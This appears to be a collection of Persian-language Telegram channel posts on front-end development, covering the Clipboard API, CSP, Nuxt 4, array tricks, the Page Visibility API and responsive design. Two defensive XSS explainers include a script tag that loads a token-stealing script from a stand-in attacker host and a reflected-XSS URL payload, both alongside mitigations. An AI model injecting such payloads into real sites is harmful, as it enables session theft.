جاوااسکریپت | JavaScript
506 subscribers
654 photos
139 videos
3 files
512 links
کانال @IR_javascript حاوی اطلاعات مفید در حوزه برنامه نویس فرانت که بصورت روزانه بروز می‌شود.
در این کانال شما به:
[1] مطالب تازه
[2] تحلیل‌های عمیق
[3] نکات آموزشی
[4] چالش
[5] ابزار و راهنمایی‌های کاربردی
دسترسی خواهید داشت.

🆔@IR_javascript
Download Telegram
کار با کلیپ‌بورد (Clipboard) در JavaScript: متدهای `writeText()` و `write()` 🤔

افزودن قابلیت کپی در کلیپ‌بورد یکی از وظایف رایج در توسعه رابط‌های کاربری است—از دکمه‌ی «کپی لینک» گرفته تا جای‌گذاری HTML یا حتی تصویر. زبان JavaScript دو متد کاربردی برای این کار ارائه می‌دهد: writeText() و write(). در ادامه با نحوهٔ استفاده و کاربرد هرکدام آشنا می‌شویم.

---

### ✔️ navigator.clipboard.writeText()

ساده‌ترین روش برای کپی یک رشته متنی در کلیپ‌بورد است. استفاده از آن آسان است و در تمام مرورگرهای مدرن پشتیبانی می‌شود.

مناسب برای:

⏺️ کپی داده‌های متنی (مانند کدهای تخفیف، پیام‌ها)
⏺️ کپی آدرس‌های اینترنتی (URL)
⏺️ تکرار آدرس ایمیل یا شماره تلفن‌ها

مثال:

navigator.clipboard.writeText("سلام دنیا!");


---

### ✔️ navigator.clipboard.write()

اگر نیاز دارید HTML، تصویر یا سایر انواع MIME را در کلیپ‌بورد قرار دهید، از این متد استفاده می‌شود.

این متد با آرایه‌ای از `ClipboardItem`ها کار می‌کند که در آن‌ها نوع محتوا و داده‌ها به‌صورت Blob مشخص می‌شوند.

امکانات:

⏺️ کپی کدهای HTML
⏺️ جای‌گذاری تصاویر
⏺️ پشتیبانی از انواع داده‌های سفارشی و غیرمتعارف

مثال:

const blob = new Blob(["<b>متن بولد</b>"], { type: "text/html" });
const item = new ClipboardItem({ "text/html": blob });
navigator.clipboard.write([item]);


---

### 👩‍💻 چگونه تصویر را در کلیپ‌بورد کپی کنیم؟

کپی تصاویر پیچیده‌تر است. اکثر مرورگرها هنوز از انواع MIME تصویری (مانند image/jpeg) در ClipboardItem پشتیبانی کامل ندارند. به‌صورت محدود، می‌توان تصویر را به image/png تبدیل کرد و با استفاده از عنصر <canvas> در کلیپ‌بورد قرار داد.
---

### ⚠️ نکات و محدودیت‌های مهم:

فقط روی پروتکل امن HTTPS یا در حالت محلی (localhost) کار می‌کند
نیاز به تعامل کاربر دارد (مثلاً کلیک روی دکمه)
👀 متد write() ممکن است در برخی مرورگرها به‌طور کامل پشتیبانی نشود

---

### جمع‌بندی:

🧩 اگر فقط با متن سروکار دارید، متد writeText() در بیش از نود و نه درصد مواقع پاسخ‌گو خواهد بود.
🧩 اگر نیاز به کپی داده‌های ساختاریافته یا چندرسانه‌ای دارید، از write() استفاده کنید—اما قبل از آن حتماً بررسی کنید که مرورگر مقصد از آن پشتیبانی می‌کند. 😉

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍2
Lingui.js

یک کتابخانه برای بین‌المللی‌سازی (i18n) در برنامه‌های جاوااسکریپت است. این کتابخانه از استاندارد ICU MessageFormat برای مدیریت قواعد پیچیده‌ی استفاده می‌کند. همچنین ابزارهایی برای استخراج پیام‌ها از درون کد در اختیار توسعه‌دهنده قرار می‌دهد

این ابزار انتخاب مناسبی برای پروژه‌هایی است که به یک سیستم بومی‌سازی (localization) انعطاف‌پذیر نیاز دارند.

🔗https://lingui.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
🔒 XSS چیست؟

‏XSS یا Cross-Site Scripting نوعی آسیب‌پذیری امنیتی در وب است که در آن، مهاجم می‌تواند کدی مخرب (معمولاً JavaScript) را در صفحه وب تزریق کند؛ و این کد در مرورگر قربانی به‌عنوان بخشی از سایت معتبر اجرا می‌شود.

با استفاده از XSS، مهاجم می‌تواند:

* به کوکی‌ها**، **LocalStorage و سایر داده‌های ذخیره‌شده در مرورگر دسترسی پیدا کند
* محتوای صفحه را تغییر دهد (مثلاً فرم‌های فیشینگ جایگزین شود)
* و در نهایت، دستورات مختلفی را به‌جای کاربر قربانی اجرا کند: از ارسال پیام گرفته تا انجام تراکنش‌های مالی یا هر اقدام دیگری

---

یکی از رایج‌ترین سناریوهای XSS امروزه، نصب افزونه‌های مرورگر ناامن است که کاربر بدون دقت، دسترسی‌های زیادی به آن‌ها می‌دهد.

### مثالی ساده:

۱. کاربر افزونه‌ای را نصب می‌کند که صفحات (مثلاً سایت بانک) را بررسی کرده و با innerHTML محتوایی به آن اضافه می‌کند
۲. افزونه یک کد مخرب وارد صفحه می‌کند:

<script src="https://evil.ru/steal.js"></script>


۳. این اسکریپت، توکن‌های ذخیره‌شده در LocalStorage را استخراج کرده و به سرور مهاجم ارسال می‌کند

🔚 نتیجه: با این توکن، مهاجم می‌تواند به‌راحتی از طرف شما اطلاعات بدزدد، تراکنش انجام دهد یا عملیات خطرناک دیگری صورت دهد.
و این تنها یکی از هزاران سناریوی ممکن برای حملهٔ XSS است.

---

🛡 چگونه در برابر XSS از خود محافظت کنیم؟

همیشه ورودی‌های کاربر را ایمن‌سازی (escape) کنید
از روش‌های ناامن و خام برای درج HTML مثل innerHTML پرهیز کنید
برای کوکی‌ها از فلگ HttpOnly استفاده کنید تا با JavaScript قابل خواندن نباشند
از سیاست امنیت محتوایی (CSP - Content Security Policy) استفاده کنید
(در پست‌های بعدی درباره آن بیشتر خواهیم گفت)



📌 سایت‌هایی که از CSP استفاده نمی‌کنند یا حاوی دستور unsafe-inline هستند، طعمهٔ مناسبی برای این نوع حمله‌ها محسوب می‌شوند.

ایمن‌سازی وب‌سایت‌ها نه‌تنها وظیفهٔ توسعه‌دهنده، بلکه مسئولیتی در برابر کاربران است.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
نسخهٔ آزمایشی Vue v3.6.0-alpha منتشر شده است
(لینک: https://github.com/vuejs/core/releases/tag/v3.6.0-alpha.1)
که در آن حالت Vapor نیز معرفی شده است.

توصیه می‌شود این قابلیت را با احتیاط، تنها در برنامه‌های کوچک، یا در بخش‌هایی از پروژه که نیاز به عملکرد بالا دارند، به‌صورت کامل یا جزئی مورد استفاده قرار دهید.

ایدهٔ اصلی پشت حالت Vapor این است که تعامل با DOM مرورگر به‌طور مستقیم انجام شود، نه از طریق VDOM. این روش به‌صورت نظری می‌تواند موجب افزایش سرعت و کاهش حجم نهایی بسته شود. با این حال، در بیشتر برنامه‌های نوشته‌شده با Vue، احتمالاً این تفاوت‌ها چندان محسوس نخواهند بود، حتی با وجود بنچ‌مارک‌ها.


#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
👍5
🛡 سیاست امنیت محتوا (Content Security Policy - CSP)

‏CSP یک مکانیزم امنیتی در مرورگرها است که به کمک آن می‌توان مشخص کرد منابعی مانند اسکریپت‌ها، استایل‌ها، فونت‌ها، تصاویر و... فقط از چه مبدأهایی قابل بارگذاری و اجرا هستند.

هدف اصلی CSP این است که کاربر را در برابر حملات تزریقی مانند XSS محافظت کند، با مسدود کردن هرگونه منبع غیرمجاز و غیرقابل‌اعتماد.

---

🔧 نحوهٔ تنظیم CSP

‏CSP را می‌توان از دو طریق مشخص کرد:

۱. از طریق هدر HTTP
۲. از طریق تگ `<meta>` در HTML

راستش را بخواهید، بنده شخصاً هرگز از روش تگ meta استفاده نکرده‌ام، چون این روش نه‌تنها انعطاف‌پذیری بسیار کمی دارد، بلکه تنها برای صفحات کاملاً ایستا مناسب است.

به‌صورت رایج، CSP را می‌توان در تنظیمات Nginx، Express یا حتی Docker به‌صورت هدر زیر تعریف کرد:

Content-Security-Policy: default-src 'self' https://trusted.ru;


📝 این دستور به این معناست که فقط منابعی که از دامنهٔ خود سایت یا trusted.ru می‌آیند، قابل بارگذاری هستند.

---

📛 اگر CSP به‌گونه‌ای پیکربندی شده باشد که اجازه‌ی استفاده از اسکریپت‌های درون‌خطی ('unsafe-inline') یا دامنه‌های ناشناس را ندهد، کد مخرب مهاجم اجرا نخواهد شد — چون مرورگر، تگ‌های <script> خارج از لیست سفید را بلاک می‌کند. این کار به‌طرز مؤثری خطر حملات XSS را کاهش می‌دهد.

❗️ 'unsafe-inline' یکی از دستورهای CSP است که به مرورگر اجازه می‌دهد اسکریپت‌هایی که مستقیماً در HTML قرار دارند را اجرا کند.
گرچه این کار ممکن است در برخی پروژه‌ها راحت باشد، اما به‌شدت امنیت سایت را کاهش می‌دهد.

نمونه‌ای از CSP همراه با unsafe-inline:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';


---

🧩 به‌طور کلی، اگر دست به کاری نزنید که از دید امنیتی واقعاً خطرناک باشد، بسیاری از فریم‌ورک‌های مدرن مانند Nuxt یا Next به‌صورت پیش‌فرض امکانات امنیتی خوبی ارائه می‌دهند.
اگر دقیق نمی‌دانید چه کاری انجام می‌دهید، این تنظیمات پیش‌فرض را غیرفعال نکنید.

اما یادتان باشد: هیچ فریم‌ورکی نمی‌تواند شما را کاملاً ایمن کند.

---

⚠️ CSP راه‌حل نهایی نیست، اما ابزاری بسیار قدرتمند برای "دفاع در عمق" است.
پیشنهاد می‌کنم حتی اگر شده یک قانون ساده مثل `default-src 'self'` را اعمال کنید و بعد به‌مرور آن را توسعه دهید.
همین قدم ساده، به‌مراتب بهتر از هیچ کاری نکردن است.

🌹 ممنون از اینکه مطالعه کردید، واقعاً برایم ارزشمند است 🥰


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
🔥1
در واقع، راه‌های متعددی برای ایجاد آرایه‌ای با صد عنصر وجود دارد. بیایید با ساده‌ترین روش شروع کنیم:

Array(100)


اما این روش یک مشکل دارد: نمی‌توان به‌راحتی آن را مقداردهی کرد.
برای حل این مشکل، کافی‌ست از متد fill استفاده کنید:

Array(100).fill(0)


یا اگر بخواهید آرایه را با اندیس‌ها پر کنید، شاید به سراغ map بروید:

Array(100).map((_, index) => index)


❗️سعی کنید حدس بزنید نتیجه اجرای این کد چیست؟ 😄
پاسخ:
⬇️
[empty × 100] یعنی یک آرایه پراکنده (Sparse Array)، نه آرایه‌ای شامل اندیس‌ها.

دلیل این موضوع این است که فراخوانی Array(100) یک آرایه‌ی پراکنده می‌سازد—آرایه‌ای که برای عناصرش حتی حافظه‌ای اختصاص داده نمی‌شود؛ فقط ساختاری با length صد ایجاد می‌شود.

برای مثال اگر بنویسید:

Object.keys(Array(100)).length


نتیجه برابر با صفر است، چون عملاً هیچ مقداری در آن آرایه وجود ندارد، بنابراین map هم کار نمی‌کند.

برای استفاده از map باید آرایه را از حالت "پراکنده" به آرایه‌ای معمولی تبدیل کنیم. یکی از روش‌های مرسوم:

[...Array(100)].map((_, index) => index)


این ترفند باعث می‌شود آرایه‌ای با صد مقدار undefined ساخته شود که حالا قابل پیمایش با map است.

اما روش مورد علاقه‌ی من و بسیار خوانا و تمیز:

Array.from({ length: 100 })


این روش هم واضح‌تر است و هم می‌توان تابع نگاشت (mapper function) را مستقیماً به عنوان آرگومان دوم پاس داد:

Array.from({ length: 100 }, () => 'سلام')


یا اگر بخواهیم خیلی ساده و سنتی عمل کنیم:

const array = []

for (let i = 0; i < 100; i++) {
array.push('progway')
}


ممنون که مطالعه کردید؛ واقعاً برای من ارزشمنده ❤️


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
3
🔓 نمونه‌ای دیگر از آسیب‌پذیری XSS

بیایید فرض کنیم سایتی با دامنه a.com در برابر حملات XSS محافظت نشده است. حالا تصور کنید در این سایت، یک پارامتر در URL وجود دارد که بدون هیچ‌گونه بررسی یا پاک‌سازی، مستقیماً در صفحه نمایش داده می‌شود:

<div>نتایج جست‌وجو: <?php echo $_GET['query']; ?></div>


---

🧑‍💻 مهاجم چه کاری انجام می‌دهد؟

۱. یک لینک خاص ایجاد می‌کند، مثلاً:

https://a.com/search?query=<script>alert('من کلیه‌ات رو دزدیدم!')</script>


۲. از طریق ایمیل فیشینگ، پیام در شبکه‌های اجتماعی یا راه‌های دیگر، شما را فریب داده و وادار به کلیک روی این لینک می‌کند.

---

🌐 چه اتفاقی در مرورگر شما می‌افتد؟

۱. شما وارد a.com با آن لینک آلوده می‌شوید.
۲. سرور سایت a.com اسکریپت <script>...</script> را درون HTML صفحه قرار می‌دهد.
۳. مرورگر شما، چون این اسکریپت از سایت معتبر a.com آمده، آن را اجرا می‌کند.

💥 نتیجه؟ اسکریپت مهاجم اجرا شده و ممکن است اطلاعات حساس شما دزدیده شود — یا حتی «کلیه‌تان»! 🫣

---

آیا CSP در اینجا کمک می‌کند؟
پاسخ: متأسفانه نه.

CSP فقط منبع اسکریپت را بررسی می‌کند، نه محتوای آن را. در این مثال، خود سرور معتبر a.com این اسکریپت را وارد صفحه کرده است، بنابراین CSP دلیلی برای مسدود کردن آن نمی‌بیند.

---

راه‌حل مناسب چیست؟
یک روش ساده اما بسیار مؤثر: ایمن‌سازی یا "اکسکیپ‌کردن" (escaping) داده‌های ورودی.

به‌جای اینکه داده‌های کاربر مستقیماً در صفحه وارد شوند، باید کاراکترهای خطرناک مثل <, >, " به معادل امن HTML تبدیل شوند. مثلاً:

<div>نتایج جست‌وجو: <?php echo htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8'); ?></div>


---

📌 نتیجه‌گیری:
CSP یک ابزار مفید است، اما نمی‌تواند جایگزین اصول اولیهٔ ایمن‌سازی ورودی‌ها شود.
همیشه داده‌هایی که از کاربر می‌گیرید را پیش از نمایش، پاک‌سازی و ایمن‌سازی کنید.
این ساده‌ترین و مؤثرترین راه مقابله با XSS است.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
در Nuxt.js می‌توانید تعیین کنید که کدام composable‌ها هنگام انجام tree shaking از بسته‌بندی سمت کلاینت یا سرور حذف شوند تا عملکرد بهبود یابد.

این تنظیمات در فایل nuxt.config.ts و در بخش optimization.treeShake.composables انجام می‌شود.

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
‏**Nuxt نسخهٔ چهارم رسماً منتشر شده است!
🔗 [جزئیات بیشتر](
https://nuxt.com/blog/v4)

این نسخه شامل مجموعه‌ای از بهبودهای مهم و کاربردی است:

🐤 **تغییر ساختار پوشه‌های پروژه
(یا همان معماری): اکنون با ساختار جدید شامل app/`، `server/ و modules/.

بازطراحی کامل useAsyncData و useFetch: اکنون از واکنش‌گرایی سطحی (shallow reactivity)، مقدار پیش‌فرض undefined و اشتراک داده‌ها بین کامپوننت‌ها پشتیبانی می‌شود.

🍙 سادگی در tsconfig: حالا فقط یک فایل در ریشهٔ پروژه کافی است.

🩹 هماهنگ‌سازی نام‌گذاری خودکار کامپوننت‌ها: از این پس نام‌ها به‌صورت یکنواخت در ابزار توسعه، ویژگی KeepAlive و سیستم Auto Import نمایش داده و استفاده می‌شوند.

📦 آمادهٔ ارتقا هستید؟
📘 [راهنمای مهاجرت به Nuxt 4](https://nuxt.com/docs/4.x/getting-started/upgrade#upgrading-nuxt)

📅 نگران نباشید اگر هنوز آماده نیستید —
پشتیبانی از Nuxt 3 تا پایان سال ۲۰۲۵ ادامه دارد، و Nuxt 4 تا میانهٔ سال ۲۰۲۶ پشتیبانی خواهد شد.

در ضمن، نسخهٔ سوم Nitro هم به‌زودی منتشر می‌شود و پایه‌ای برای Nuxt 5 خواهد بود.



#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
Dockview
Dockview یک کتابخانهٔ جاوااسکریپت است که برای ساخت رابط‌های کاربری پنلی پیشرفته، مشابه آن‌چه در محیط‌های توسعهٔ یکپارچه (IDE) مدرن دیده می‌شود، طراحی شده است. این کتابخانه از پنل‌هایی که قابل جابجایی**، **چسباندن (Docking) و تغییر اندازه هستند پشتیبانی می‌کند.

گزینه‌ای مناسب برای توسعهٔ وب‌اپلیکیشن‌هایی است که نیاز به یک فضای کاری منعطف و قابل تنظیم دارند.


🔗https://dockview.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
برای علاقه‌مندان به آزمایش دستیارهای هوش مصنوعی، شرکت AWS نسخه‌ای اختصاصی از Visual Studio Code با قابلیت‌های هوش مصنوعی ارائه کرده است که با نام Kiro شناخته می‌شود.


ویژگی متمایز Kiro آن است که بر اساس مشخصات پروژه (spec-driven) عمل می‌کند؛ به این معنا که کاربر ابتدا باید مشخصات و نیازمندی‌های پروژه را تعریف کند و سپس Kiro بر مبنای همان مشخصات، ساختار و کدهای پروژه را تولید می‌نماید.

این رویکرد بسیار هوشمندانه است. البته می‌توان این روند را به‌صورت دستی نیز پیاده‌سازی کرد، اما نکته قابل توجه این است که در Kiro این منطق به‌صورت درونی در الگوریتم آن طراحی شده است.

در حال حاضر، استفاده از Kiro رایگان است و این ابزار از مدل Claude Sonnet ۴ بهره می‌برد.

🔗https://kiro.dev/blog/introducing-kiro
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
آیا تا به حال خواسته‌اید پیش از بسته‌شدن صفحهٔ وب توسط کاربر، اطلاعاتی را ذخیره کنید؟

در جاوااسکریپت رویدادهایی وجود دارد که با استفاده از آن‌ها می‌توان درخواست‌هایی به سرور ارسال کرد تا داده‌های مفید ذخیره شوند. اما دقت داشته باشید که در این موقعیت‌ها، درخواست‌های همگام (synchronous) قابل استفاده نیستند؛ تنها روش‌های ناهمگام مانند fetch یا sendBeacon قابل اتکا هستند.

متأسفانه بسیاری از اپلیکیشن‌های وب در این زمینه عملکرد درستی ندارند، چرا که چرخهٔ عمر برنامه در موبایل را در نظر نمی‌گیرند: یا به رویدادهایی گوش می‌دهند که ممکن است اصلاً اجرا نشوند، یا این مشکل را به‌طور کلی نادیده می‌گیرند، که در نهایت منجر به تجربه‌ای ضعیف برای کاربر می‌شود. البته باید منصف بود؛ پلتفرم وب نیز با ارائهٔ رویدادهای متنوعی مانند visibilityState، pageshow، pagehide، beforeunload و unload، کار را ساده نکرده است. حال سوال اینجاست: از کدام رویداد باید استفاده کرد و چه زمانی؟

چرا نمی‌توان روی رویدادهای unload و beforeunload حساب کرد؟
در پلتفرم‌های موبایل نمی‌توان انتظار داشت که رویدادهای pagehide، beforeunload یا unload همیشه اجرا شوند. این مسئله ایرادی در مرورگر مورد علاقهٔ شما نیست؛ بلکه ناشی از نحوهٔ عملکرد سیستم‌عامل‌های موبایل است. یک اپلیکیشن فعال می‌تواند به چند روش وارد وضعیت پس‌زمینه شود:

+ کاربر روی یک اعلان کلیک کرده و وارد اپلیکیشن دیگری شود؛
+ کاربر با استفاده از تسک‌سوئیچر (Task Switcher) به برنامه‌ای دیگر برود؛
+ با زدن دکمهٔ "خانه" به صفحهٔ اصلی گوشی بازگردد؛
+ سیستم‌عامل به‌صورت خودکار برنامه را به پس‌زمینه ببرد — مثلاً هنگام دریافت تماس.

پس از آن، اپلیکیشن می‌تواند بدون هیچ هشدار خاصی خاتمه یابد — مثلاً سیستم‌عامل فرآیند را برای آزادسازی منابع متوقف کند، یا کاربر برنامه را از تسک‌منیجر حذف کند. بنابراین باید فرض را بر این گذاشت که خاموشی‌های "تمیز" که در آن رویدادهایی مانند pagehide و unload اجرا می‌شوند، استثناء هستند، نه قاعده.

Page Visibility API این امکان را برای توسعه‌دهندگان فراهم می‌سازد تا از وضعیت نمایش یا پنهان بودن صفحه آگاه شوند.

این API عمدتاً از ویژگی‌ها و رویدادهای زیر بهره می‌برد:

‏* document.visibilityState: یک رشته (string) برمی‌گرداند که نشان‌دهندهٔ وضعیت کنونی سند است. مقادیر ممکن شامل visible (قابل‌مشاهده) و hidden (پنهان) می‌باشد.
* رویداد visibilitychange: هنگامی اجرا می‌شود که وضعیت نمایش سند تغییر کند.

با استفاده از این API، می‌توانید رفتار اپلیکیشن خود را بر اساس قابل‌مشاهده بودن یا نبودن صفحه تنظیم کنید.

---

### نمونهٔ پیاده‌سازی

کد زیر نشان می‌دهد که چگونه می‌توان هنگام قابل‌مشاهده شدن صفحه، یک پیام هشدار نمایش داد:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Visibility Test</title>
<script>
function updateVisibility() {
if (document.visibilityState === 'visible') {
alert('صفحه اکنون قابل‌مشاهده است');
}
}

document.addEventListener("visibilitychange", updateVisibility);

// بررسی وضعیت اولیهٔ نمایش صفحه
updateVisibility();
</script>
</head>
<body>
<h1>صفحهٔ آزمایشی</h1>
<p>این یک صفحهٔ تست برای بررسی رویدادهای تغییر در نمایش است.</p>
</body>
</html>


در این مثال، تابع updateVisibility بررسی می‌کند که آیا صفحه در حال حاضر قابل‌مشاهده است یا نه، و در صورت تأیید، پیام هشدار را نمایش می‌دهد. این تابع هم هنگام بارگذاری صفحه و هم هنگام تغییر وضعیت نمایش فراخوانی می‌شود.
### چه زمانی مقدار document.visibilityState برابر با visible است؟

وضعیت visible در شرایط زیر فعال می‌شود:

* بازگشت به تب از تب دیگر:
کاربر از تب دیگری به تب شما بازمی‌گردد.

* بازیابی پنجرهٔ کوچک‌شده:
کاربر مرورگر را مینیمایز کرده و سپس مجدداً باز می‌کند.

* بازگشت از یک اپلیکیشن دیگر به مرورگر:
کاربر پس از استفاده از برنامه‌ای دیگر، به مرورگری که صفحهٔ شما در آن باز است برمی‌گردد.

* بازکردن قفل دستگاه:
کاربر دستگاه را آنلاک می‌کند و مرورگر (و صفحهٔ شما) دوباره به نمایش درمی‌آید.

در این سناریوها، وضعیت صفحه از حالت «پنهان» به حالت «قابل‌مشاهده» تغییر می‌کند و رویداد visibilitychange اجرا می‌شود.

---

### جمع‌بندی

Page Visibility API ابزاری بسیار مفید برای شناسایی بازگشت کاربر به صفحه است. این امکان را به شما می‌دهد که اقدامات خاصی نظیر به‌روزرسانی محتوا یا ادامهٔ پخش رسانه را اجرا کنید.
با پایش وضعیت نمایش صفحه، می‌توانید تجربهٔ کاربری را ارتقا دهید و از منابع سیستم به‌صورت بهینه استفاده کنید.

برای اطلاعات و نمونه‌های بیشتر، به [مستندات MDN دربارهٔ Page Visibility API](https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API) مراجعه فرمایید.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
🔥2
۸ ابزار رایگان برای طراحی وایرفریم و نمونه‌سازی (Prototyping):

🔸 Figma
🔸 Adobe XD
🔸 Wireframe.cc
🔸 FluidUI
🔸 Mockflow
🔸 Moqups
🔸 Cacoo
🔸 Jumpchart

این ابزارها برای طراحی رابط کاربری، ترسیم طرح‌های اولیه و شبیه‌سازی تعاملات کاربر بسیار کاربردی و مؤثر هستند.

#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
تابع `hsla()` چگونه کار می‌کند؟

تابع hsla() که پارامترهای آن به ترتیب نشان‌دهندهٔ تون رنگ (Hue)**، **اشباع رنگ (Saturation)**، **روشنایی (Lightness) و کانال آلفا (Alpha) هستند، برای تعیین رنگ‌های نیمه‌شفاف نیز به‌کار می‌رود.

تون رنگ (Hue) با استفاده از درصدهایی بر مبنای دایرهٔ رنگ مشخص می‌شود. این دایره به بخش‌هایی تقسیم شده که هر کدام نمایندهٔ یکی از رنگ‌های اصلی یا فرعی هستند:

* ۰ یا ۳۶۰ درجه — رنگ قرمز
* ۶۰ درجه — رنگ زرد
* ۱۲۰ درجه — رنگ سبز
* ۱۸۰ درجه — رنگ آبی روشن (فیروزه‌ای)
* ۲۴۰ درجه — رنگ آبی تیره
* ۲۷۰ درجه — رنگ بنفش
* ۳۰۰ درجه — رنگ ارغوانی (سرخابی)

برای به‌دست آوردن رنگ سیاه**، باید مقدار **تون، اشباع و روشنایی را برابر با صفر قرار دهید:
hsla(0, 0%, 0%, 1)

رنگ سفید با روشنایی صد درصد و صفر بودن تون و اشباع حاصل می‌شود:
hsla(0, 0%, 100%, 1)

و برای تولید رنگ **خاکستری**، کافی‌ست اشباع برابر صفر و روشنایی پنجاه درصد باشد:
hsla(0, 0%, 50%, 1)


#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
طراحی تطبیقی (Adaptive Design) VS طراحی واکنش‌گرا (Responsive Design)

### اصل کارکرد

#### طراحی تطبیقی (Adaptive Design)

🔹 نقاط توقف (Breakpoints):
در این روش، وضوح‌های مشخص و ثابتی تعریف می‌شوند — برای مثال، سیصد و بیست، هفت‌صد و شصت و هشت، هزار و بیست و چهار، و هزار و چهارصد و چهل پیکسل. برای هر یک از این نقاط، یک طرح (layout) مجزا طراحی می‌گردد.

🔹 سبک‌ها و منابع مجزا:
برای هر breakpoint می‌توان تصاویر بهینه‌شده بارگذاری کرد، محتوایی را فعال یا غیرفعال نمود، یا حتی مجموعه فونت‌های خاصی را به کار گرفت.

🔹 سناریوهای بارگذاری:
در زمان رندر صفحه، سیستم تصمیم می‌گیرد که بر اساس عرض صفحه‌نمایش، کدام طرح و سبک را فعال کند.

---

#### طراحی واکنش‌گرا (Responsive Design)

🔹 شبکه‌ی انعطاف‌پذیر:
صفحه‌بندی با استفاده از واحدهای نسبی مانند درصد، em/rem، یا vw/vh ساخته می‌شود.

🔹 گذارهای روان:
المان‌ها به‌صورت خودکار با تغییر عرض مرورگر تغییر اندازه می‌دهند و جابه‌جا می‌شوند، بدون نیاز به پرش یا تغییر ناگهانی طرح.

🔹 کد یکپارچه:
یک مجموعه واحد از قوانین CSS برای تمامی دستگاه‌ها کافی است، و media query‌ها صرفاً برای تنظیم جزئیات و تفاوت‌های ظریف استفاده می‌شوند.

### مزایا و معایب

---

### طراحی تطبیقی (Adaptive Design)

#### مزایا:

* کنترل دقیق بر هر طرح:
برای هر وضوح صفحه، می‌توان طراحی ویژه و کاملاً کنترل‌شده‌ای ارائه داد.

* بهینه‌سازی منابع:
در نسخه‌های موبایلی، تصاویر سبک‌تر و فونت‌های کم‌حجم‌تر استفاده می‌شود که باعث کاهش حجم و افزایش سرعت بارگذاری می‌گردد.

* تجربه کاربری دقیق در نقاط کلیدی:
در نقاط توقف تعریف‌شده، تجربه کاربری دقیق و از پیش طراحی‌شده‌ای فراهم می‌شود.

#### محدودیت‌ها:

* ناهمخوانی بین نقاط توقف:
ممکن است در فاصله بین breakpoints، تغییرات ناهموار یا ظاهر نامنظمی دیده شود.

* نیاز به نگهداری چندین طرح و منبع:
برای هر وضوح باید نسخه‌ای جداگانه از طراحی، تصاویر و فایل‌های CSS مدیریت شود.

* پشتیبانی ضعیف از وضوح‌های جدید:
در صورت اضافه‌شدن دستگاه‌های با ابعاد جدید، ممکن است آن‌ها در هیچ‌کدام از breakpoints موجود قرار نگیرند.

---

### طراحی واکنش‌گرا (Responsive Design)

#### مزایا:

* گذارهای روان در تمامی عرض‌ها:
بدون پرش یا تغییر ناگهانی، اجزا به‌صورت نرم و تدریجی با تغییر عرض تطبیق پیدا می‌کنند.

* کد CSS یکپارچه و تکرار کمتر:
با استفاده از یک مجموعه قوانین واحد، می‌توان برای همه دستگاه‌ها طراحی کرد و از افزونگی جلوگیری نمود.

* تطبیق خودکار با دستگاه‌های جدید:
بدون نیاز به طراحی مجدد، طرح موجود به‌صورت پویا با دستگاه‌های جدید هم‌ساز می‌شود.

#### محدودیت‌ها:

* سختی در تنظیم دقیق رابط‌های پیچیده:
تنظیم جزئیات دقیق و رفتار المان‌ها در تمام عرض‌های ممکن، به‌ویژه برای رابط‌های پیچیده، دشوار است.

* احتمال کاهش خوانایی در محتوای زیاد:
در صفحات پرمحتوا، تطبیق خودکار ممکن است باعث به‌هم‌ریختگی و افت کیفیت خوانایی شود.

* محاسبات بیشتر و تأثیر بر عملکرد:
تغییرات پویا ممکن است فشار بیشتری به مرورگر وارد کرده و عملکرد کلی را کاهش دهد.
1
بسیاری طراحی *تطبیقی* (Adaptive) و طراحی *واکنش‌گرا* (Responsive) را با هم اشتباه می‌گیرند — چون هر دو به نوعی «متناسب با صفحه‌نمایش» عمل می‌کنند. اما در واقع این دو، رویکردهایی متفاوت هستند. یکی بر اساس سناریوهای از پیش تعریف‌شده کار می‌کند، و دیگری به‌صورت آنی و پویا خود را با شرایط جدید تطبیق می‌دهد. برای آنکه در اصطلاحات سردرگم نشویم و بدانیم کدام روش در پروژه مناسب‌تر است، بیایید بررسی کنیم هر یک چگونه عمل می‌کند، چه کاربردی دارد، و چگونه می‌توان آن‌ها را با یکدیگر ترکیب کرد.



---

👩‍💻 چگونه در عمل استفاده کنیم؟

✔️ پرتال سازمانی: شامل جداول، نمودارها و فرم‌های متعدد است — در این حالت طراحی تطبیقی به‌منظور کنترل دقیق روی وضوح‌های کلیدی ضروری است.

✔️ بلاگ یا لندینگ‌پیج: دارای محتوای سبک و تصویری است — طراحی واکنش‌گرا در این موارد، سازگاری روان و نگهداری ساده‌تر را فراهم می‌کند.

✔️ فروشگاه اینترنتی (E‑commerce): کارت‌های واکنش‌گرا برای نمایش کالا + مراحل تطبیقی در فرایند پرداخت، تجربه کاربری پایدار و مؤثری را تضمین می‌کنند.

---

💡 توصیه‌های عملی:

⭐️ نقاط توقف (breakpoint) را به حداقل برسانید. برای طراحی تطبیقی، داشتن سه تا پنج وضوح اصلی کافی است. اگر تعداد آن‌ها زیاد شود، نگهداری پروژه پیچیده‌تر خواهد شد.

⭐️ از ابزارهای کمکی استفاده کنید. فریم‌ورک‌هایی مانند Tailwind یا ابزارهای CSS اختصاصی شما، ساخت شبکه‌های واکنش‌گرا و مدیریت breakpoints را ساده‌تر می‌کنند.
⭐️ روی دستگاه‌های واقعی تست کنید. ابزار Chrome DevTools خوب است، اما آزمایش روی گوشی‌ها و تبلت‌های واقعی، تفاوت‌های ظریفی را که در شبیه‌ساز دیده نمی‌شوند، آشکار می‌کند.

---

